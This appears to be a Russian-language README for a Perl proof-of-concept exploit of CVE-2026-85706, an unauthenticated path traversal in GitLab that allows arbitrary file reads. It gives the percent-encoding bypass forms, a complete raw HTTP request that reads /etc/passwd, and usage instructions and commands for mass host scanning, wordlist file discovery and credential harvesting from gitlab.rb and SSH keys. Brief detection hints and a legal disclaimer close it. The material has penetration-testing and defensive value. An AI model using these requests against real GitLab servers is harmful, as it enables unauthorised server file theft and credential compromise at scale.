Perl PoC, эксплуатирующий CVE-2026-85706 — неаутентифицированный обход пути в GitLab, позволяющий произвольное чтение файлов, с массовым сканированием и сбором учётных данных.
Только для авторизованного тестирования на проникновение и операций Red Team.
Несанкционированное использование является уголовным преступлением. См. Правовое уведомление.
CVE-2026-85706 — это уязвимость обхода пути (path traversal) с оценкой CVSS 10.0 в GitLab Community и Enterprise Editions, позволяющая полностью неаутентифицированному атакующему прочитать произвольные файлы из файловой системы сервера одним HTTP-запросом. Не требуются учётные данные, токен или взаимодействие с пользователем.
| Ветка | Уязвимый диапазон | Исправлено в |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
HTTP-стек GitLab состоит из трёх уровней:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse действует как умный обратный прокси: для определённых «upload»-эндпоинтов (коммиты репозитория, файловые операции) он читает тела multipart-запросов, сохраняет данные файлов на диск и перезаписывает запрос перед передачей в Puma. Ключевой момент: он прикрепляет JWT-заголовок (Gitlab-Workhorse-Api-Request) к каждому проксируемому запросу. Затем Rails валидирует этот JWT (через require_gitlab_workhorse!) перед выполнением любой логики обработчика.
Уровень 1 — сопоставление маршрутов Workhorse:
Workhorse сопоставляет пути запросов с помощью скомпилированного регулярного выражения, работающего с сырой, процентно-кодированной байтовой строкой. Он НЕ декодирует последовательности %XX перед сопоставлением.
Уровень 2 — маршрутизация Puma/Rack:
Puma декодирует последовательности %XX до того, как Grape маршрутизирует запрос. Поэтому запрос к /repository/%63ommits декодируется в /repository/commits и направляется в CommitsController.
Уровень 3 — чтение файла до аутентификации:
Попав в обработчик Rails (который достигается без JWT Workhorse, поскольку Workhorse так и не сопоставил запрос), обработчик читает params[:file][:path] из строки запроса и вызывает:
File.open(params[:file][:path]) # ← происходит ДО аутентификации
Процентно-кодируя один символ в статическом сегменте пути, запрос атакующего проскальзывает мимо Workhorse незамеченным:
| Сегмент | Оригинал | Форма обхода | Кодируемый символ |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (любой) | commits | commits/ | завершающий слэш |
| (любой) | commits | commits.json | суффикс Grape |
После открытия файла его содержимое эксфильтрируется через парсер строки запроса Rack:
Rack::Utils.parse_nested_query(File.read(path))
Если файл содержит %, за которым не следуют две допустимые шестнадцатеричные цифры (что часто встречается в конфигурационных файлах Ruby, CI YAML, логах и т. д.), Rack вызывает:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Тело этого 400-ответа содержит сырое содержимое файла вплоть до проблемного байта включительно — раскрывая содержимое файла неаутентифицированному вызывающему.
Файлы без эксплуатируемых последовательностей % (например, чистый /etc/passwd) возвращают 401 или ошибку валидации параметров после чтения: это действует как оракул существования файла (чтение всё равно произошло до аутентификации).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Модуль | Пакет | Роль |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP-клиент (обязательно) |
LWP::Protocol::https | libwww-perl | Поддержка HTTPS (обязательно) |
URI::Escape | liburi-perl | Кодирование строки запроса (обязательно) |
Term::ANSIColor | libterm-ansicolor-perl | Цветной вывод (опционально) |
JSON | libjson-perl | Режим вывода JSON (опционально) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Быстрая (по умолчанию) | Полная (--full) | |
|---|---|---|
| Запросы | ≤9 (1 предварительный + ≤4×2) | 27+ |
| Ранний выход | Да — останавливается при первом подтверждённом различии | Нет — перебирает все 22 формы |
| Информация о версии | Нет | Да |
| Формы обхода | 4 репрезентативные Files API | Все 22 (Commits + Files API) |
| Лучше всего для | Быстрой разведки, больших списков хостов | Отчётов пентеста, подготовки --file/--scan |
Конвейер быстрой проверки:
GET /api/v4/version — доступность + признак GitLab/etc/hostname + уникальный канареечный маркерcanary → 'local file not present' ∧ hostname ≠ canary → УЯЗВИМ (немедленный выход)Конвейер полной проверки (--full):
--project-id и режимы проверкиФлаг --project-id можно использовать в любом режиме, включая --check и --check-host-list. Понимание взаимодействия:
| Группа обхода | Формы | Зависимость от project ID |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | Нет — чтение файла предшествует проверке проекта по замыслу CVE. Любой ID (даже несуществующий) даёт корректный сигнал. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Требуется — проект должен существовать и быть анонимно читаемым. В противном случае возвращает project-gate. |
Практические рекомендации:
--check (быстрая): использует только формы Files API → project ID не имеет значения.--check --full: тестирует все 22 формы. Если вы знаете публичный project ID, передайте --project-id <N>, чтобы также подтвердить формы Commits API.--check-host-list: один --project-id редко соответствует публичному проекту на всех хостах. Опустите его.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Вердикт | Значение |
|---|---|
leak | Содержимое файла отражено в теле ответа через ошибку парсинга Rack |
leak-fragment | Частичное отражение содержимого через фрагмент имени параметра |
read-noecho | HTTP 401 на пути обхода — неоднозначно: либо чтение файла произошло до аутентификации (уязвимо, чистое содержимое без плохой %-последовательности), либо аутентификация срабатывает до чтения (пропатченный сервер). Используйте --check для подтверждения через дифференциал |
missing | Путь обхода сработал; обработчик достигнут; файл отсутствует или нечитаем |
rewrite | Workhorse перехватил эту форму пути — обход не удался |
project-gate | Commits API отклонил проект; попробуйте формы Files API |
noroute | Rails не маршрутизировал этот вариант пути |
| Функция | Python PoC | Этот Perl PoC |
|---|---|---|
| Варианты путей обхода | 6 | 15 |
| Массовое сканирование файлов (T1083) | ✗ | ✓ Встроенный список из 38 путей |
| Сбор учётных данных (T1552.001) | ✗ | ✓ 22 шаблона учётных данных |
| Вывод JSON | ✗ | ✓ --json |
| Вывод в файл / tee | ✗ | ✓ --output |
| Сообщения оракула существования файла | Базовые | Явные, с цветовой кодировкой |
| Логика повторных попыток | ✗ | ✓ Настраиваемые --retries |
| Задержка между запросами | ✗ | ✓ --delay (дробные секунды) |
| Пользовательский User-Agent | ✗ | ✓ --user-agent |
| Namespace/project IDs | ✗ | ✓ Автокодирование / → %2F |
| Подробный режим | ✗ | ✓ --verbose |
secret_key_base и otp_key_base в gitlab.rb/home/git/.ssh/, /root/.ssh/)Ищите POST или PUT запросы к путям /api/v4/projects/*/repository/, содержащим:
%63, %43, %72, %70, %66, %46 и т. д.)file.path.json на эндпоинтах commits или filesЭтот инструмент предоставляется исключительно для:
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным практически в любой юрисдикции и может повлечь уголовное преследование в соответствии с законами о неправомерном использовании компьютеров (CFAA, Computer Misuse Act и т. д.).
Автор и участники этого инструмента не несут никакой ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.